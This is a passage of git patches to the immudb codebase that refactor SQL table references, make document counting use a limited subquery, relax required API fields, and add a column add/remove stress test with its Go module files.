+2654,7 @@ func (stmt *UnionStmt) Alias() string { return "" } -func newTableRef(table string, as string) *tableRef { +func NewTableRef(table string, as string) *tableRef { return &tableRef{ table: table, as: as, From b5c69176fb90d65dc72e115ddae169be5ff19571 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 13 Oct 2023 13:43:49 +0200 Subject: [PATCH 0860/1062] chore(embedded/document): count with limit in subquery Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 1ee0168064..aa1cf360bc 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -880,7 +880,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, username string, query *p queryStmt := sql.NewSelectStmt( []sql.Selector{sql.NewColSelector(query.CollectionName, documentIdFieldName)}, - query.CollectionName, + sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), @@ -983,7 +983,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs op := sql.NewSelectStmt( []sql.Selector{sql.NewColSelector(query.CollectionName, DocumentBLOBField)}, - query.CollectionName, + sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), @@ -1022,15 +1022,24 @@ func (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, of return 0, err } - op := sql.NewSelectStmt( - []sql.Selector{sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}, - query.CollectionName, + ds := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(query.CollectionName, table.Cols()[0].Name())}, + sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), sql.NewInteger(offset), ) + op := sql.NewSelectStmt( + []sql.Selector{sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}, + ds, + nil, + nil, + nil, + nil, + ) + r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) if err != nil { return 0, err From 6db5bcb122e4def320d25e01f6dfabbac44bfacf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 13 Oct 2023 13:44:19 +0200 Subject: [PATCH 0861/1062] chore(pkg/api): set optional parameters Signed-off-by: Jeronimo Irazabal --- pkg/api/proto/documents.proto | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index a3edb37db7..51b20923d9 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -329,8 +329,7 @@ message SearchDocumentsRequest { "searchId", "query", "page", - "pageSize", - "keepOpen" + "pageSize" ] } }; @@ -350,9 +349,7 @@ message Query { json_schema: { required: [ "collectionName", - "expressions", - "orderBy", - "limit" + "expressions" ] } }; From 57d8f2624642da103866d3aa39a28cf1f85a3a2f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 13 Oct 2023 13:44:38 +0200 Subject: [PATCH 0862/1062] chore(pkg/api): set optional parameters Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index e394bc7e1e..200a839282 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -808,7 +808,7 @@ "revisions": { "type": "array", "items": { - "$ref": "#/definitions/modelDocumentAtRevision" + "$ref": "#/definitions/modelDocumentAtRevisionAudit" } } }, @@ -956,6 +956,17 @@ "type": "object" }, "modelDocumentAtRevision": { + "type": "object", + "properties": { + "document": { + "type": "object" + } + }, + "required": [ + "document" + ] + }, + "modelDocumentAtRevisionAudit": { "type": "object", "properties": { "transactionId": { @@ -986,7 +997,9 @@ "required": [ "transactionId", "documentId", - "revision" + "revision", + "username", + "ts" ] }, "modelDocumentMetadata": { @@ -1207,9 +1220,7 @@ } }, "required": [ - "expressions", - "orderBy", - "limit" + "expressions" ] }, "modelQueryExpression": { @@ -1279,8 +1290,7 @@ "required": [ "query", "page", - "pageSize", - "keepOpen" + "pageSize" ] }, "modelSearchDocumentsRequestWith": { @@ -1300,8 +1310,7 @@ }, "required": [ "page", - "pageSize", - "keepOpen" + "pageSize" ] }, "modelSearchDocumentsResponse": { From acb0ed4f2274c34627b16376af688cb3ab89b641 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 13 Oct 2023 12:28:19 +0200 Subject: [PATCH 0863/1062] add add/remove column stress test --- test/columns/.gitignore | 1 + test/columns/go.mod | 53 ++++ test/columns/go.sum | 636 ++++++++++++++++++++++++++++++++++++++++ test/columns/main.go | 143 +++++++++ test/columns/rand.go | 67 +++++ 5 files changed, 900 insertions(+) create mode 100644 test/columns/.gitignore create mode 100644 test/columns/go.mod create mode 100644 test/columns/go.sum create mode 100644 test/columns/main.go create mode 100644 test/columns/rand.go diff --git a/test/columns/.gitignore b/test/columns/.gitignore new file mode 100644 index 0000000000..1c4eb0c5ae --- /dev/null +++ b/test/columns/.gitignore @@ -0,0 +1 @@ +columns diff --git a/test/columns/go.mod b/test/columns/go.mod new file mode 100644 index 0000000000..102716b622 --- /dev/null +++ b/test/columns/go.mod @@ -0,0 +1,53 @@ +module github.com/codenotary/immudb/test/columns + +go 1.20 + +require github.com/codenotary/immudb v1.5.0 + +require ( + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect + github.com/fsnotify/fsnotify v1.6.0 // indirect + github.com/golang/protobuf v1.5.3 // indirect + github.com/google/uuid v1.3.1 // indirect + github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect + github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/magiconair/properties v1.8.7 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/o1egl/paseto v1.0.0 // indirect + github.com/pelletier/go-toml/v2 v2.0.6 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/prometheus/client_golang v1.12.2 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.32.1 // indirect + github.com/prometheus/procfs v0.7.3 // indirect + github.com/rogpeppe/go-internal v1.9.0 // indirect + github.com/rs/xid v1.5.0 // indirect + github.com/spf13/afero v1.9.3 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/cobra v1.6.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/viper v1.15.0 // indirect + github.com/subosito/gotenv v1.4.2 // indirect + golang.org/x/crypto v0.14.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + golang.org/x/term v0.13.0 // indirect + golang.org/x/text v0.13.0 // indirect + google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/grpc v1.57.0 // indirect + google.golang.org/protobuf v1.31.0 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) + +replace github.com/codenotary/immudb => ../.. diff --git a/test/columns/go.sum b/test/columns/go.sum new file mode 100644 index 0000000000..265e3af59d --- /dev/null +++ b/test/columns/go.sum @@ -0,0 +1,636 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= +github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof 